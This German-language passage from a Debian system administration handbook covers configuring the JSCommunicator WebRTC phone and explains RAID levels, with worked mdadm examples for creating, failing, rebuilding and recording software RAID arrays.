JSCommunicator ist ein generisches, markenfreies WebRTC-Telefon, das kein serverseitiges Scripting wie PHP benötigt. Es wurde ausschließlich mit HTML, CSS und JavaScript erstellt. Es ist die Basis für viele weitere WebRTC-Dienste und Module für erweiterte Web-Publishing-Frameworks.

→ http://jscommunicator.org

Das Paket jscommunicator-web-phone ist der schnellste Weg, ein WebRTC-Telefon in eine Website zu installieren. Es wird ein SIP-Proxy mit einem WebSocket-Transport benötigt. Die Anweisungen in Abschnitt 11.8.3.1, „SIP-Proxy installieren“ enthalten die notwendigen Details, um den WebSocket-Transport in der repro SIP-Proxy zu aktivieren.

Nach der Installation von jscommunicator-web-phone gibt es verschiedene Möglichkeiten, es zu verwenden. Eine einfache Methode besteht darin, die Konfiguration von /etc/jscommunicator-web-phone/apache.conf in eine virtuelle Apache-Host-Konfiguration einzubinden oder zu kopieren.

Sobald die Web-Telefondateien im Webserver verfügbar sind, passen Sie den /etc/jscommunicator-web-phone/config.js so an, dass er auf den TURN-Server und den SIP-Proxy zeigt. Zum Beispiel:

JSCommSettings = {

// Web server environment
webserver: {
url_prefix: null            // If set, prefix used to construct sound/ URLs
},

// STUN/TURN media relays
stun_servers: [],
turn_servers: [
{ server:"turn:turn-server.falcot.com?transport=udp", username:"joe", password:"j0Ep455d" }
],

// WebSocket connection
websocket: {
// Notice we use the falcot.com domain certificate and port 8443
// This matches the Transport3 and Transport4 example in
// the falcot.com repro.config file
servers: 'wss://falcot.com:8443',
connection_recovery_min_interval: 2,
connection_recovery_max_interval: 30
},

...

Erweiterte Click-to-Call-Websites verwenden normalerweise serverseitiges Scripting, um die Datei config.js dynamisch zu erzeugen. Der DruCall Quellcode zeigt, wie man dies mit PHP macht.

Dieses Kapitel hat nur einen Bruchteil der verfügbaren Serversoftware dargestellt; jedoch wurden die meisten der üblichen Netzwerkdienste beschrieben. Jetzt ist es Zeit für ein noch technischeres Kapitel: wir werden tiefer in die Einzelheiten einiger Konzepte eindringen, sowie Masseneinsätze und Virtualisierungen beschreiben.

Kapitel 12. Erweiterte Verwaltung

Dieses Kapitel greift noch einmal einige Aspekte, die wir bereits beschrieben haben, aus einer anderen Perspektive auf: anstatt einen einzelnen Rechner zu installieren, werden wir Systeme für den Masseneinsatz untersuchen; anstatt RAID- oder LVM-Volumes während der Installierung zu erstellen, lernen wir, dies von Hand zu tun, so dass wir später unsere ursprünglichen Entscheidungen revidieren können. Schließlich werden wir Überwachungsprogramme und Virtualisierungstechniken besprechen. Daher richtet sich dieses Kapitel in erster Linie an professionelle Administratoren und weniger an Einzelpersonen, die für ihr Heimnetzwerk zuständig sind.

12.1. RAID und LVM

Kapitel 4, Installation hat diese Techniken aus der Sicht des Installationsprogramms dargestellt und wie es sie so integriert, dass ihr Einsatz von Beginn an einfach ist. Nach der anfänglichen Installation muss ein Administrator in der Lage sein, neu auftretendem Bedarf an Speicherplatz zu begegnen, ohne auf eine aufwändige Neuinstallation zurückgreifen zu müssen. Er muss daher die Hilfsprogramme zur Handhabung von RAID- und LVM-Volumes verstehen.

Sowohl RAID als auch LVM sind Verfahren, um die eingehängten Speicherbereiche von ihren physischen Entsprechungen (Festplatten oder ihre Partitionen) zu lösen, wobei ersteres die Daten durch redundante Speicherung vor einem Hardwareausfall schützt und letzteres die Datenverwaltung flexibler und unabhängig von der tatsächlichen Größe der zugrunde liegenden Speicherplatten macht. In beiden Fällen führt dies zu einem System mit neuen Blockgeräten, die zur Erstellung von Dateisystemen oder Auslagerungsspeicher verwendet werden können, ohne diese notwendigerweise einer physischen Speicherplatte zuordnen zu müssen. RAID und LVM haben recht unterschiedliche Ursprünge, ihre Funktionsweise überschneidet sich jedoch teilweise, weshalb sie häufig gemeinsam erwähnt werden.

AUSBLICK Btrfs vereint LVM und RAID

Während LVM und RAID zwei unterschiedliche Subsysteme des Kernels sind, die zwischen den Blockgeräten und ihren Dateisystemen liegen, ist btrfs ein neues Dateisystem, das ursprünglich bei Oracle entwickelt wurde und darauf abzielt, die Funktionen von LVM und RAID und noch vieles mehr zu vereinen. Es ist weitgehend funktionsfähig, wird aber noch als „experimentell“ bezeichnet, da seine Entwicklung noch nicht abgeschlossen ist (einige Funktionsmerkmale sind noch nicht umgesetzt), und hat auch seine Brauchbarkeit schon in Produktionsumgebungen unter Beweis gestellt.

→ http://btrfs.wiki.kernel.org/

Zu den erwähnenswerten Funktionsmerkmalen gehört die Fähigkeit, zu jedem beliebigen Zeitpunkt einen Schnappschuss des Dateisystembaums festhalten zu können. Das Abbild des Schnappschusses nimmt anfangs keinen Speicherplatz ein, da Daten nur kopiert werden, wenn etwas verändert wird. Das Dateisystem kann auch Dateien transparent komprimieren, und Prüfsummen gewährleisten die Integrität aller gespeicherten Daten.

Sowohl bei RAID als auch bei LVM stellt der Kernel eine Gerätedatei bereit in ähnlicher Weise, wie bei denen, die sich auf ein Festplattenlaufwerk oder eine Partition beziehen. Wenn eine Anwendung oder ein anderer Teil des Kernels auf einen Block eines derartigen Geräts zugreifen muss, lenkt das entsprechende Subsystem den Block zu der entsprechenden physischen Ebene. Je nach Konfiguration kann dieser Block auf einer oder mehreren physischen Platten gespeichert sein, wobei sein physischer Ort nicht unbedingt direkt dem Ort des Blocks in dem logischen Gerät entspricht.

12.1.1. Software-RAID

RAID bedeutet Redundant Array of Independent Disks (Redundante Anordnung unabhängiger Festplatten). Ziel dieses Systems ist es, Datenverluste im Falle eines Festplattenausfalls zu vermeiden. Das allgemeine Prinzip ist recht einfach: Daten werden mit einem einstellbaren Grad von Redundanz auf mehreren physischen Platten gespeichert statt nur auf einer. In Abhängigkeit vom Ausmaß dieser Redundanz können Daten selbst bei einem unerwarteten Plattenausfall ohne Verluste von den verbleibenden Platten wieder hergestellt werden.

KULTUR Unabhängig oder preiswert?

Das I in RAID stand ursprünglich für inexpensive (preiswert), da RAID eine erhebliche Steigerung bzgl. der Datensicherheit ermöglichte, ohne in teure und hochwertige Platten investieren zu müssen. Wahrscheinlich aus Imagegründen ist es inzwischen jedoch üblicher, es als Abkürzung für independent (unabhängig) anzusehen, das nicht den unangenehmen Beigeschmack des Billigen hat.

RAID kann entweder mit speziell hierfür vorgesehener Hardware eingerichtet werden (mit RAID-Modulen, die in SCSI- oder SATA-Controllerkarten integriert sind) oder durch Softwareabstraktion (den Kernel). Ob Hard- oder Software, ein RAID-System mit ausreichender Redundanz kann in transparenter Weise funktionsfähig bleiben, wenn eine Platte ausfällt. Die oberen Abstraktionsschichten (Anwendungen) können trotz des Ausfalls weiterhin auf die Daten zugreifen. Dieser „eingeschränkte Modus“ kann natürlich Auswirkungen auf die Leistung haben, und die Redundanz ist geringer, so dass ein weiterer Plattenausfall dann zu Datenverlust führen kann. Daher wird man in der Praxis versuchen, nur solange in diesem eingeschränkten Modus zu verbleiben, wie das Ersetzen der ausgefallenen Platte dauert. Sobald die neue Platte eingebaut ist, kann das RAID-System die erforderlichen Daten wieder herstellen, um so zu einem sicheren Modus zurückzukehren. Die Anwendungen werden hiervon nichts bemerken, abgesehen von einer möglicherweise verringerten Zugriffsgeschwindigkeit während sich die Anordnung im eingeschränkten Modus oder im Stadium der Wiederherstellung befindet.

Wenn RAID von der Hardware zur Verfügung gestellt wird, wird die Konfiguration im Allgemeinen innerhalb des BIOS-Setup durchgeführt und der Kernel hält das RAID-Array für eine einzelne Festplatte, die sich als physikalische Platte darstellt, obwohl der Gerätename sich davon unterscheidet (abhängig vom Treiber).

Wir betrachten in diesem Buch nur Software-RAID.

12.1.1.1. Unterschiedliche RAID-Stufen

RAID existiert in der Tat in mehreren Ausprägungen, gekennzeichnet durch ihre Level. Diese Level unterscheiden sich in ihrem Aufbau und in dem Ausmaß der Redundanz, die sie bereitstellen. Je mehr Redundanzen, desto ausfallsicherer, da das System auch mit mehreren ausgefallenen Platten immer noch funktioniert. Die Kehrseite ist, dass der verfügbare Platz bei gegebener Anzahl an Platten geringer wird; oder anders ausgedrückt, es werden mehr Platten benötigt, um dieselbe Datenmenge zu speichern.

Lineares RAID

Obwohl das RAID-Subsystem des Kernels die Einrichtung eines „linearen RAIDs“ ermöglicht, ist dies kein wirkliches RAID, da sein Aufbau keinerlei Redundanz enthält. Der Kernel reiht lediglich mehrere Platten von Anfang bis Ende aneinander und stellt den sich daraus ergebenden zusammengefassten Datenträger als eine virtuelle Platte (ein Blockgerät) bereit. Das ist so gut wie seine einzige Funktion. Dieser Aufbau wird selten für sich allein verwendet (Ausnahmen werden weiter unten erläutert), insbesondere da die fehlende Redundanz dazu führt, dass bei Ausfall einer Platte der gesamte Datenträger und damit alle Daten nicht mehr verfügbar sind.

RAID-0

Diese Stufe stellt ebenfalls keinerlei Redundanz bereit, aber die Platten werden nicht einfach aneinandergereiht: sie werden in Streifen unterteilt, und die Blöcke des virtuellen Geräts werden in Streifen abwechselnd auf den physischen Platten abgespeichert. So werden zum Beispiel bei einem RAID-0-Aufbau, der aus zwei Platten besteht, die geradzahligen Blöcke des virtuellen Geräts auf der ersten physischen Platte gespeichert, während die ungeradzahligen Blöcke auf der zweiten physischen Platte landen.

Dieses System beabsichtigt nicht, die Zuverlässigkeit zu erhöhen, da (wie beim linearen RAID) die Verfügbarkeit der Daten gefährdet ist, sobald eine Platte ausfällt, sondern die Leistung zu erhöhen: beim sequentiellen Zugriff auf große Mengen zusammenhängender Daten kann der Kernel gleichzeitig von beiden Platten lesen (oder auf sie schreiben), wodurch die Datenübertragungsrate erhöht wird. Die Verwendung von RAID-0 geht jedoch zurück, da seine Nische durch LVM gefüllt wird (siehe unten).

RAID-1

Diese Stufe, die auch als „RAID-Spiegelung“ bezeichnet wird, ist der einfachste und am häufigsten verwendete Aufbau. In seiner Standardform verwendet er zwei physische Platten gleicher Größe und stellt einen logischen Datenträger von ebenfalls gleicher Größe bereit. Daten werden auf beiden Platten identisch gespeichert, daher die Bezeichnung „Spiegel“. Wenn eine Platte ausfällt, sind die Daten auf der anderen weiterhin verfügbar. Für sehr kritische Daten kann RAID-1 natürlich auch auf mehr als zwei Platten eingerichtet werden, mit direkter Auswirkung auf das Verhältnis von Hardwarekosten zu nutzbarem Speicherplatz.

HINWEIS Platten und Clustergrößen

Wenn zwei Platten unterschiedlicher Größe als Spiegel eingerichtet werden, wird die größere nicht vollständig benutzt, da sie die gleichen Daten wie die kleinere enthält und sonst nichts. Der von einem RAID-1-Volume bereitgestellte nutzbare Platz entspricht daher der Größe der kleinsten Platte dieser Anordnung. Dies gilt auch für RAID-Volumes einer höheren RAID-Stufe, obwohl dort die Redundanz anders abgespeichert wird.

Es ist daher wichtig, beim Einrichten von RAID-Anordnungen (außer von RAID-0 und „linearem RAID“) nur Platten gleicher oder sehr ähnlicher Größe zu verbinden, um die Verschwendung von Ressourcen zu vermeiden.

HINWEIS Reserveplatten

RAID-Stufen, die Redundanz enthalten, ermöglichen es, mehr Platten als nötig einem Verbund zuzuordnen. Diese zusätzlichen Platten dienen als Reserve für den Fall, dass eine der Hauptplatten ausfällt. Zum Beispiel wird der Kernel in einem Spiegel aus zwei Platten und einer Reserveplatte, wenn eine der ersten beiden ausfällt, automatisch (und sofort) den Spiegel unter Verwendung der Reserveplatte neu aufbauen, so dass die Redundanz nach Abschluss des Wiederaufbaus weiterhin gewährleistet ist. Dies kann als weitere Schutzmaßnahme für kritische Daten genutzt werden.

Man könnte sich natürlich fragen, wieso dies besser ist als gleich von Anfang an auf drei Platten zu spiegeln. Der Vorteil der Anordnung mit einer „Reserveplatte“ besteht darin, dass die Reserveplatte von mehreren RAID-Volumes gemeinsam benutzt werden kann. So kann man zum Beispiel mit nur sieben Platten (drei Paaren und einer Reserve für alle) statt neun, die für drei Dreiergruppen erforderlich wären, drei gespiegelte Volumes haben, bei denen die Redundanz selbst beim Ausfall einer Platte gewährleistet bleibt.

Diese RAID-Stufe wird in der Praxis häufig verwendet, obwohl sie kostspielig ist (da der physische Speicherplatz allenfalls zur Hälfte genutzt werden kann). Sie ist einfach zu verstehen und ermöglicht sehr einfache Sicherheitskopien: da beide Platten den gleichen Inhalt haben, kann eine von ihnen ohne Auswirkung auf das arbeitende System vorübergehend entfernt werden. Die Leseleistung ist häufig höher, da der Kernel auf jeder Platte eine Hälfte der Daten gleichzeitig lesen kann, während die Schreibleistung nicht allzu stark vermindert ist. Bei einer RAID-Anordnung von N Platten bleiben die Daten selbst bei einem Ausfall von N-1 Platten erhalten.

RAID-4

Diese selten verwendete RAID-Stufe verwendet N Platten zur Speicherung nutzbarer Daten und eine zusätzliche Platte zur Speicherung der Redundanzinformation. Falls diese Platte ausfällt, kann das System ihren Inhalt aus den übrigen N Platten wieder herstellen. Falls eine der N Platten ausfällt, enthalten die verbleibenden N-1 Platten zusammen mit der „Paritätsplatte“ genügend Informationen, um die erforderlichen Daten wieder herzustellen.

RAID-4 ist nicht allzu kostspielig, da es nur zu zusätzlichen Kosten in Höhe von Eins-in-N führt. Es hat keinen spürbaren Einfluss auf die Leseleistung, verlangsamt aber das Schreiben. Da außerdem jeder Schreibvorgang auf einer der N Platten auch einen Schreibvorgang auf der Paritätsplatte erfordert, finden auf letzterer sehr viel mehr Schreibvorgänge als auf den anderen statt, und ihre Lebensdauer kann folglich deutlich verkürzt sein. Daten in einer RAID-4-Anordnung sind lediglich bis zum Ausfall einer Platte (der N+1 Platten) sicher.

RAID-5

RAID-5 behebt das Problem der Asymmetrie von RAID-4: Paritätsblöcke sind über alle N+1 Platten verteilt, ohne dass eine einzelne Platte eine besondere Rolle spielt.

Die Lese- und Schreibleistung ist die gleiche wie bei RAID-4. Auch hier bleibt das System funktionsfähig, wenn eine der N+1 Platten ausfällt, jedoch nicht mehr.

RAID-6

RAID-6 kann als Erweiterung von RAID-5 angesehen werden, wobei jeder Reihe von N Blöcken zwei Redundanzblöcke zugeordnet sind, und jede dieser Serien von N+2 Blöcken über N+2 Platten verteilt ist.

Diese RAID-Stufe ist etwas teurer als die zwei vorhergehenden, bietet jedoch etwas mehr Sicherheit, da bis zu zwei der N+2 Platten ausfallen können, ohne dass die Datenverfügbarkeit gefährdet ist. Die Kehrseite ist, dass jeder Schreibvorgang jetzt das Schreiben eines Datenblocks und zweier Redundanzblöcke erfordert, wodurch er noch langsamer wird.

RAID-1+0

Dies ist genau genommen keine RAID-Stufe, sondern ein Zusammenfassen zweier RAID-Gruppen. Ausgehend von 2xN Platten werden diese zunächst paarweise in N RAID-1-Volumes angeordnet. Diese N Volumes werden dann entweder durch „lineares RAID“ oder (immer häufiger) durch LVM zu einem einzigen Volume zusammengefasst. Letzteres geht über reines RAID hinaus. Das ist jedoch nicht problematisch.

RAID-1+0 kann den Ausfall mehrerer Platten überstehen und zwar bis zu N der oben beschriebenen 2xN-Anordnung, vorausgesetzt, dass in jedem der RAID-1-Paare wenigstens noch eine Platte funktioniert.

WEITERE SCHRITTE RAID-10

RAID-10 wird im Allgemeinen als ein Synonym für RAID-1+0 angesehen, jedoch führt eine Besonderheit von Linux zu dieser Verallgemeinerung. Diese Anordnung ermöglicht ein System, bei dem jeder Block selbst bei einer ungeraden Plattenanzahl auf zwei unterschiedlichen Platten gespeichert ist, wobei die Kopien einem konfigurierbaren Modell entsprechend verteilt werden.

Die Leistung kann in Abhängigkeit von dem gewählten Repartitionierungsmodell und Redundanzniveau sowie von der Arbeitslast des logischen Volumes unterschiedlich sein.

Natürlich wird die RAID-Stufe in Abhängigkeit von den Beschränkungen und Erfordernissen jeder Anwendung gewählt. Man beachte, dass ein einzelner Rechner über mehrere unterschiedliche RAID-Anordnungen mit unterschiedlichen Konfigurationen verfügen kann.

12.1.1.2. RAID einrichten

Zur Einrichtung von RAID-Volumes wird das Paket mdadm benötigt. Es stellt den Befehl mdadm zur Verfügung, mit dem RAID-Anordnungen erstellt und verändert werden können, wie auch Skripten und Hilfsprogramme, mit denen es in das übrige System integriert werden kann, einschließlich eines Überwachungssystems.

Als Beispiel nehmen wir einen Server mit einer Anzahl von Platten, von denen einige bereits benutzt werden, während der Rest für die Einrichtung des RAID zur Verfügung steht. Zu Beginn haben wir die folgenden Platten und Partitionen:

- die Platte sdb, 4 GB, ist vollständig verfügbar;

- die Platte sdc, 4 GB, ist ebenfalls vollständig verfügbar;

- auf der Platte sdd ist nur die Partition sdg2 (ungefähr 4 GB) verfügbar;

- schließlich ist die Platte sde, ebenfalls 4 GB, vollständig verfügbar.

HINWEIS Bestehende RAID-Volumes identifizieren

Die Datei /proc/mdstat führt bestehende Volumes und ihren Zustand auf. Wenn ein neues RAID-Volume erstellt wird, sollte darauf geachtet werden, es nicht wie ein bestehendes Volume zu benennen.

Wir werden diese physischen Komponenten zur Einrichtung zweier Volumes verwenden, eines RAID-0 und eines Spiegels (RAID-1). Wir beginnen mit dem RAID-0-Volume:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
# mdadm --query /dev/md0
/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed May  6 09:24:34 2015
Raid Level : raid0
Array Size : 8387584 (8.00 GiB 8.59 GB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent

Update Time : Wed May  6 09:24:34 2015
State : clean
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0

Chunk Size : 512K

Name : mirwiz:0  (local to host mirwiz)
UUID : bb085b35:28e821bd:20d697c9:650152bb
Events : 0

Number   Major   Minor   RaidDevice State
0       8       16        0      active sync   /dev/sdb
1       8       32        1      active sync   /dev/sdc
# mkfs.ext4 /dev/md0
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 2095104 4k blocks and 524288 inodes
Filesystem UUID: fff08295-bede-41a9-9c6a-8c7580e520a6
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /srv/raid-0
# mount /dev/md0 /srv/raid-0
# df -h /srv/raid-0
Filesystem      Size  Used Avail Use% Mounted on
/dev/md0        7.9G   18M  7.4G   1% /srv/raid-0

Der Befehl mdadm --create erfordert mehrere Parameter: den Namen des zu erstellenden Volumes (/dev/md*, wobei MD Multiple Device bedeutet), die RAID-Stufe, die Anzahl der Platten (die in jedem Fall angegeben werden muss, obwohl dies nur bei RAID-1 oder höher Sinn macht) und die zu verwendenden physischen Laufwerke. Nachdem das Gerät erstellt ist, können wir es wie eine normale Partition verwenden, auf ihm ein Dateisystem einrichten, dieses Dateisystem einhängen und so weiter. Man beachte, dass unsere Einrichtung eines RAID-0-Volumes auf md0 nur Zufall ist, und dass die Nummerierung der Anordnung nicht der gewählten Redundanzstufe entsprechen muss. Man kann auch einen benannten RAID-Verbund erstellen, indem man mdadm Parameter wie /dev/md/linear statt /dev/md0 mitgibt.

Die Erstellung eines RAID-1 erfolgt auf ähnliche Weise; die Unterschiede machen sich erst nach der Erstellung bemerkbar:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde
mdadm: Note: this array has metadata at the start and
may not be suitable as a boot device.  If you plan to
store '/boot' on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90
mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1%
Continue creating array? y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.
# mdadm --query /dev/md1
/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md1
/dev/md1:
Version : 1.2
Creation Time : Wed May  6 09:30:19 2015
Raid Level : raid1
Array Size : 4192192 (4.00 GiB 4.29 GB)
Used Dev Size : 4192192 (4.00 GiB 4.29 GB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent

Update Time : Wed May  6 09:30:40 2015
State : clean, resyncing (PENDING)
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0

Name : mirwiz:1  (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 0

Number   Major   Minor   RaidDevice State
0       8       50        0      active sync   /dev/sdd2
1       8       64        1      active sync   /dev/sde
# mdadm --detail /dev/md1
/dev/md1:
[...]
State : clean
[...]

TIPP RAID, Platten und Partitionen

Wie in unserem Beispiel gezeigt, können RAID-Geräte aus Plattenpartitionen erstellt werden und erfordern keine vollständigen Platten.

Einige Bemerkungen sind angebracht. Zunächst stellt mdadm fest, dass die physischen Komponenten von unterschiedlicher Größe sind; da dies bedeutet, dass auf der größeren Komponente einiger Platz verloren geht, ist eine Bestätigung erforderlich.

Wichtiger ist es aber, den Zustand des Spiegels zu beachten. Im Normalzustand eines RAID-Spiegels haben beide Platten genau denselben Inhalt. Jedoch stellt nichts sicher, dass dies der Fall ist, wenn der Datenträger erstmalig erstellt wird. Das RAID-Subsystem gewährleistet dieses daher selbst, und es gibt eine Synchronisierungsphase, sobald das RAID-Gerät erzeugt worden ist. Einige Zeit später (die genaue Dauer hängt von der jeweiligen Größe der Platten ab...), schaltet die RAID-Anordnung in den „aktiven“ oder "sauberen" Zustand um. Man beachte, dass sich der Spiegel während dieser Rekonstruktionsphase in einem eingeschränkten Zustand befindet und Redundanz nicht sichergestellt ist. Ein Plattenausfall während dieser Risikolücke könnte zu einem vollständigen Verlust aller Daten führen. Jedoch werden kritische Daten selten in großer Menge auf einer neu erstellten RAID-Anordnung vor ihrer anfänglichen Synchronisierung gespeichert. Man beachte, dass selbst im eingeschränkten Zustand /dev/md1 benutzt werden kann, dass auf ihm ein Dateisystem erstellt werden kann, und dass Daten auf ihm abgelegt werden können.

TIPP Einen Spiegel in eingeschränktem Zustand starten

Manchmal sind zwei Platten nicht unmittelbar verfügbar, wenn man einen RAID-1-Spiegel einrichten möchte, weil zum Beispiel eine der hierfür vorgesehenen Platten bereits zur Speicherung der Daten benutzt wird, die man auf die Anordnung verschieben möchte. In solch einem Fall ist es möglich, vorsätzlich eine eingeschränkte RAID-1-Anordnung zu erzeugen, indem man als eines der Argumente missing statt einer Gerätedatei an mdadm übergibt. Sobald dann die Daten auf den „Spiegel“ kopiert worden sind, kann die alte Platte der Anordnung hinzugefügt werden. Anschließend wird eine Synchronisierung stattfinden, die zu der Redundanz führt, die wir von vornherein angestrebt hatten.

TIPP Einen Spiegel ohne Synchronisierung einrichten

RAID-1-Volumes werden häufig erstellt, um als neue Platten, die oft als leer erachtet werden, verwendet zu werden. Der ursprüngliche tatsächliche Inhalt der Platte ist daher nicht sehr relevant, da man nur sicher sein will, dass die Daten, die nach der Erstellung des Datenträgers geschrieben werden, und hier insbesondere das Dateisystem, anschließend zugänglich sind.

Man könnte sich daher fragen, wozu die Synchronisierung der beiden Platten zur Zeit der Erstellung gut ist. Warum sollte man sich darum kümmern, ob der Inhalt in Bereichen des Datenträgers gleich ist, von denen wir wissen, dass sie erst gelesen werden, nachdem wir etwas auf sie geschrieben haben?

Glücklicherweise kann diese Synchronisierungsphase vermieden werden, indem man die Option --assume-clean an mdadm übergibt. Diese Option kann jedoch in den Fällen zu Überraschungen führen, in denen die ursprünglichen Daten gelesen werden (falls zum Beispiel bereits ein Dateisystem auf der physischen Platte vorhanden ist). Deshalb ist sie nicht standardmäßig aktiviert.

Nun wollen wir sehen, was passiert, wenn eine der Komponenten der RAID-1-Anordnung ausfällt. Mit mdadm, genauer gesagt mit seiner Option --fail, lässt sich ein derartiger Plattenausfall simulieren:

# mdadm /dev/md1 --fail /dev/sde
mdadm: set /dev/sde faulty in /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]
Update Time : Wed May  6 09:39:39 2015
State : clean, degraded
Active Devices : 1
Working Devices : 1
Failed Devices : 1
Spare Devices : 0

Name : mirwiz:1  (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 19

Number   Major   Minor   RaidDevice State
0       8       50        0      active sync   /dev/sdd2
2       0        0        2      removed

1       8       64        -      faulty   /dev/sde

Der Inhalt des Datenträgers ist weiterhin zugänglich (und falls er eingehängt ist, bemerken die Anwendungen nichts), aber die Sicherheit der Daten ist nicht mehr gewährleistet: sollte die Platte sdd ebenfalls ausfallen, wären die Daten verloren. Wir möchten dieses Risiko vermeiden und werden daher die ausgefallene Platte durch eine neue, sdf, ersetzen:

# mdadm /dev/md1 --add /dev/sdf
mdadm: added /dev/sdf
# mdadm --detail /dev/md1
/dev/md1:
[...]
Raid Devices : 2
Total Devices : 3
Persistence : Superblock is persistent

Update Time : Wed May  6 09:48:49 2015
State : clean, degraded, recovering
Active Devices : 1
Working Devices : 2
Failed Devices : 1
Spare Devices : 1

Rebuild Status : 28% complete

Name : mirwiz:1  (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 26

Number   Major   Minor   RaidDevice State
0       8       50        0      active sync   /dev/sdd2
2       8       80        1      spare rebuilding   /dev/sdf

1       8       64        -      faulty   /dev/sde
# [...]
[...]
# mdadm --detail /dev/md1
/dev/md1:
[...]
Update Time : Wed May  6 09:49:08 2015
State : clean
Active Devices : 2
Working Devices : 2
Failed Devices : 1
Spare Devices : 0

Name : mirwiz:1  (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 41

Number   Major   Minor   RaidDevice State
0       8       50        0      active sync   /dev/sdd2
2       8       80        1      active sync   /dev/sdf

1       8       64        -      faulty   /dev/sde

Auch in diesem Fall löst der Kernel automatisch eine Rekonstruktionsphase aus, während der sich der Datenträger in eingeschränktem Zustand befindet, auch wenn er weiterhin zugänglich ist. Sobald die Rekonstruktion vorüber ist, befindet sich die RAID-Anordnung wieder in normalem Zustand. Man kann dem System dann mitteilen, dass die Platte sde aus der Anordnung entfernt werden wird, um so zu einem typischen RAID-Spiegel auf zwei Platten zu gelangen:

# mdadm /dev/md1 --remove /dev/sde
mdadm: hot removed /dev/sde from /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]
Number   Major   Minor   RaidDevice State
0       8       98        0      active sync   /dev/sdg2
1       8      128        1      active sync   /dev/sdi

Von da an kann das Laufwerk physisch entfernt werden, sobald der Server das nächste Mal abgestellt wird, oder sogar im laufenden Betrieb, falls die Hardware-Konfiguration dies erlaubt. Zu derartigen Konfigurationen gehören einige SCSI-Controller, die meisten SATA-Platten und externe Laufwerke, die über USB oder Firewire betrieben werden.

12.1.1.3. Konfiguration sichern

Die meisten Meta-Daten, die RAID-Datenträger betreffen, werden direkt auf den Platten gespeichert, aus denen diese Anordnungen bestehen, so dass der Kernel diese Anordnungen und ihre Komponenten erkennen und sie selbsttätig zusammenstellen kann, wenn das System hochfährt. Es wird jedoch empfohlen, eine Sicherungskopie dieser Konfiguration zu erstellen, da diese Erkennung nicht ausfallsicher ist, und da sie voraussichtlich gerade in einer prekären Situation ausfallen wird. Wenn in unserem Beispiel der Ausfall der Platte sde tatsächlich stattgefunden hätte (statt ihn nur zu simulieren) und das System neu gestartet worden wäre, ohne die Platte sde zu entfernen, würde diese Platte möglicherweise wieder funktionieren, da sie während des Neustarts überprüft worden wäre. Der Kernel hätte dann drei physische Komponenten, von denen jede angeblich eine Hälfte desselben RAID-Volumes enthält. Weitere Verwirrung könnte entstehen, wenn RAID-Datenträger von zwei Servern auf einem zusammengefasst werden. Falls diese Anordnungen vor ihrem Umzug normal funktionierten, wäre der Kernel in der Lage, die Paare korrekt zu erkennen und neu zusammenzustellen. Falls die verlegten Platten jedoch auf dem vorherigen Server zu einem md1 zusammengefasst waren, und der jetzige Server bereits ein md1 hat, würde einer der Spiegel umbenannt werden.

Es ist daher wichtig, die Konfiguration zu sichern, selbst wenn dies nur zu Referenzzwecken geschieht. Das normale Verfahren besteht darin, die Datei /etc/mdadm/mdadm.conf zu editieren, von der hier ein Beispiel gezeigt wird:

Beispiel 12.1. Konfigurationsdatei mdadm

# mdadm.conf
#
# Please refer to mdadm.conf(5) for information about this file.
#

# by default (built-in), scan all partitions (/proc/partitions) and all
# containers for MD superblocks. alternatively, specify devices to scan, using
# wildcards if desired.
DEVICE /dev/sd*

# auto-create devices with Debian standard permissions
CREATE owner=root group=disk mode=0660 auto=yes

# automatically tag new arrays as belonging to the local system
HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts
MAILADDR root

# definitions of existing MD arrays
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c04a0:19bca283:95f67464

# This configuration was auto-generated on Thu, 17 Jan 2013 16:21:01 +0100
# by mkconf 3.2.5-3

Einer der nützlichsten Bestandteile ist die Option DEVICE, mit der die Geräte aufgelistet werden, bei denen das System beim Start selbstständig nach Komponenten des RAID-Volumes suchen soll. In unserem Beispiel haben wir die Voreinstellung partitions containers durch eine eindeutige Liste mit Gerätedateien ersetzt, da wir uns entschieden haben, für einige Datenträger ganze Platten und nicht nur Partitionen zu verwenden.

Die letzten beiden Zeilen unseres Beispiels ermöglichen es dem Kernel sicher auszuwählen, welche Volume-Nummer welcher Anordnung zugewiesen werden soll. Die auf den Platten selbst gespeicherten Meta-Daten reichen aus, die Volumes wieder zusammenzustellen, jedoch nicht, die Volume-Nummer zu bestimmen (und den dazu passenden Gerätenamen /dev/md*).

Glücklicherweise können diese Zeilen automatisch erstellt werden:

# mdadm --misc --detail --brief /dev/md?
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=6ec558ca:0c2c94a0:19bca283:95f6746

